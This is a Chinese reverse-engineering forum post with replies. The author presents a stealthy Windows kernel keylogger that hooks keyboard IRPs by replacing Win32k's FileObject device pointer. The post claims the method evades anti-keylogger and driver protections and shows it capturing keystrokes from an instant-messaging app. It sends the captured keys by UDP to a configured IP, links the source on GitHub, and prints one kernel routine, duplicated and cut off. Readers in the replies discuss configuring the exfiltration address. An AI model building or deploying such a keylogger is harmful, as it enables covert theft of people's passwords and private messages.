首页
社区
课程
招聘
[原创]谁会不喜欢一个Windows内核键盘记录器呢(详解)
发表于: 2022-9-7 14:03 16143

[原创]谁会不喜欢一个Windows内核键盘记录器呢(详解)

2022-9-7 14:03
16143

先上链接KARLANN

之前搞过一个基于intel-vt的IO端口的键盘记录器,不过只能支持PS/2键盘,而且有点杀鸡焉用牛刀的感觉。最近在《Windows内核安全与驱动开发》的启发下,实现了一个基于IRP Hook的键盘记录器,书中的方法估计早就被防的差不多了,所以使用了不同的方式Hook IRP,算是进阶版吧,更难被察觉。实测可以过控件保护以及驱动保护。

获取某即时通讯软件的键盘输入

简单来说,键盘的输入,是通过键盘驱动(比如kbdhid.sys)通过各种方式获取到键盘硬件的数据输入,然后键盘驱动调用初始化时保存的kbdclass.sys的回调函数KeyboardClassServiceCallback,将键盘数据发送到kbdclass.sys,最后由kbdclass.sys将数据填充到之前Pending的IRP,将IRP返回到Win32k(或者保存到缓冲区内,等待IRP的到来)。

但要怎么拦截这些IRP呢,书中可以将驱动挂载到kbdclass驱动设备上,作为设备过滤驱动拦截IRP,不过这种方法太明显了。所以我选择将Win32k驱动用于读键盘数据的hKeyboard->FileObject->DeviceObject替换为Poc驱动的DeviceObject,由Poc驱动充当中间层驱动,过滤Win32k和Kbdclass的IRP。

重点在于获取这个FileObject,这个FileObject由ZwReadFile填在Irp->IrpSp->FileObject中,并且Kbdclass会在没有键盘数据时将IRP保存在它的DeviceExtension->ReadQueue链表中,虽然Kbdclass的DeviceExtension结构体没有公开,但其中大部分结构的偏移自从Windows 8开始都是不变的,所以可以找到ReadQueue链表,使用KeyboardClassDequeueRead函数(如上),取出IRP,也就取出了FileObject。

另外为支持PNP,Poc驱动会在IoCancelIrp时将FileObject->DeviceObject还原,以便于之后设备卸载。
其他的功能包括,使用libwsk库,把它的C++库做了一些调整,实现了UDP传输键盘数据的功能,以及按键映射的功能,另外增加了对x86的支持。

建议在Windows 7 x86/x64 6.1(7601)SP1 - Windows 10 x86/x64 21H1(19043.1889)环境运行

代码放在github了
github链接

PIRP
KeyboardClassDequeueRead(
    _In_ PCHAR DeviceExtension
)
/*++
 
Routine Description:
    Dequeues the next available read irp regardless of FileObject
 
Assumptions:
    DeviceExtension->SpinLock is already held (so no further sync is required).
 
  --*/
{
    ASSERT(NULL != DeviceExtension);
 
    PIRP nextIrp = NULL;
 
    LIST_ENTRY* ReadQueue = (LIST_ENTRY*)(DeviceExtension + READ_QUEUE_OFFSET_DE);
 
    while (!nextIrp && !IsListEmpty(ReadQueue)) {
        PDRIVER_CANCEL oldCancelRoutine;
        PLIST_ENTRY listEntry = RemoveHeadList(ReadQueue);
 
        //
        // Get the next IRP off the queue and clear the cancel routine
        //
        nextIrp = CONTAINING_RECORD(listEntry, IRP, Tail.Overlay.ListEntry);
        oldCancelRoutine = IoSetCancelRoutine(nextIrp, NULL);
 
        //
        // IoCancelIrp() could have just been called on this IRP.
        // What we're interested in is not whether IoCancelIrp() was called
        // (ie, nextIrp->Cancel is set), but whether IoCancelIrp() called (or
        // is about to call) our cancel routine. To check that, check the result
        // of the test-and-set macro IoSetCancelRoutine.
        //
        if (oldCancelRoutine) {
            //
                //  Cancel routine not called for this IRP.  Return this IRP.
            //
            /*ASSERT(oldCancelRoutine == KeyboardClassCancel);*/
        }
        else {
            //
                // This IRP was just cancelled and the cancel routine was (or will
            // be) called. The cancel routine will complete this IRP as soon as
            // we drop the spinlock. So don't do anything with the IRP.
            //
                // Also, the cancel routine will try to dequeue the IRP, so make the
            // IRP's listEntry point to itself.
            //
            //ASSERT(nextIrp->Cancel);
            InitializeListHead(&nextIrp->Tail.Overlay.ListEntry);
            nextIrp = NULL;
        }
    }
 
    return nextIrp;
}
PIRP
KeyboardClassDequeueRead(
    _In_ PCHAR DeviceExtension
)
/*++
 
Routine Description:
    Dequeues the next available read irp regardless of FileObject
 
Assumptions:
    DeviceExtension->SpinLock is already held (so no further sync is required).
 
  --*/
{
    ASSERT(NULL != DeviceExtension);
 
    PIRP nextIrp = NULL;
 
    LIST_ENTRY* ReadQueue = (LIST_ENTRY*)(DeviceExtension + READ_QUEUE_OFFSET_DE);
 
    while (!nextIrp && !IsListEmpty(ReadQueue)) {
        PDRIVER_CANCEL oldCancelRoutine;
        PLIST_ENTRY listEntry = RemoveHeadList(ReadQueue);
 
        //
        // Get the next IRP off the queue and clear the cancel routine
        //
        nextIrp = CONTAINING_RECORD(listEntry, IRP, Tail.Overlay.ListEntry);
        oldCancelRoutine = IoSetCancelRoutine(nextIrp, NULL);
 
        //
        // IoCancelIrp() could have just been called on this IRP.
        // What we're interested in is not whether IoCancelIrp() was called
        // (ie, nextIrp->Cancel is set), but whether IoCancelIrp() called (or
        // is about to call) our cancel routine. To check that, check the result

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2022-9-20 17:57 被hkx3upper编辑 ,原因:
收藏
免费 6
支持
分享
最新回复 (12)
雪    币: 248
活跃值: (1141)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
关键的libwsk代码没有提供。
2022-9-7 14:45
0
雪    币: 193
活跃值: (640)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3

这个是别人的库66bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4K9i4c8Z5N6h3u0Q4x3X3g2U0L8$3#2Q4x3V1k6y4K9i4u0G2d9$3q4C8N6g2)9J5c8X3I4A6j5Y4N6K6K9#2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4W2)9^5z5q4)9&6x3g2!0q4y4#2)9&6b7W2!0n7y4q4!0q4y4W2)9^5c8g2!0m8y4g2!0q4y4#2!0n7b7#2)9&6y4W2!0q4z5q4!0m8c8W2)9&6x3g2!0q4y4q4!0n7b7g2)9^5y4X3I4A6j5W2!0q4c8W2!0n7b7#2)9^5b7#2!0q4y4W2)9&6y4q4!0n7z5g2!0q4y4q4!0n7b7g2)9^5y4W2!0q4y4g2!0m8c8g2)9^5x3#2!0q4y4#2)9&6b7g2)9^5y4r3I4A6j5Y4N6K6K9#2)9J5k6h3S2Q4c8e0g2Q4z5e0u0Q4z5p5y4D9K9h3u0%4M7$3E0Q4x3X3g2U0i4@1g2r3i4@1u0o6i4K6W2m8i4@1f1$3i4K6S2m8i4K6S2m8i4@1f1$3i4K6R3&6i4K6R3H3i4@1f1$3i4K6W2o6i4K6R3&6i4@1f1#2i4K6R3%4i4@1u0p5i4@1f1$3i4K6V1#2i4@1t1H3i4@1f1#2i4@1p5K6i4@1t1H3i4@1f1$3i4K6V1^5i4K6S2q4i4@1f1#2i4K6S2m8i4@1p5H3i4@1f1@1i4@1t1^5i4K6S2m8i4@1f1@1i4@1u0m8i4K6R3$3i4@1f1#2i4K6R3&6i4K6S2p5i4@1f1%4i4@1u0o6i4K6R3H3k6i4S2@1k6i4u0F1 "C" 

最后于 2022-9-7 14:55 被hkx3upper编辑 ,原因:
2022-9-7 14:53
0
雪    币: 3910
活跃值: (3523)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
为啥我找不到这个
修改global.h中的POC_IP_ADDRESS(SocketTest所在电脑的IP)和POC_UDP_PORT
2022-9-7 16:18
0
雪    币: 801
活跃值: (556)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
wonghouleong 为啥我找不到这个[em_15] 修改global.h中的POC_IP_ADDRESS(SocketTest所在电脑的IP)和POC_UDP_PORT

main/global.h 有把:


2022-9-7 16:30
0
雪    币: 3910
活跃值: (3523)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
pengge main/global.h 有把:
的确是,我跑去Releases下源码了
2022-9-7 16:48
0
雪    币: 1710
活跃值: (215922)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
7
好家伙 号没了
2022-9-7 17:52
0
雪    币: 631
活跃值: (3026)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
8
mark学习
2022-9-12 10:59
0
雪    币: 225
活跃值: (551)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
9
最后的系统测试是怎么去批量测试的啊?
2022-9-25 15:11
0
雪    币: 193
活跃值: (640)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
zhimian 最后的系统测试是怎么去批量测试的啊?

啊,我手动一个一个测试的

最后于 2022-9-25 19:09 被hkx3upper编辑 ,原因:
2022-9-25 17:09
0
雪    币: 280
能力值: ( LV1,RANK:0 )
在线值:
发帖
回帖
粉丝
11
动手试了一下,以此为基础实现了一个简单的屏蔽crtl + alt + del的组合按键的功能。但是还是不清楚其中的原理,我太菜了
2023-10-18 16:03
0
雪    币: 2280
活跃值: (4565)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
感谢分享
2024-3-13 09:55
0
雪    币: 215
活跃值: (59)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
这会不会被杀掉杀掉?
2024-3-13 10:02
0
游客
登录 | 注册 方可回帖
返回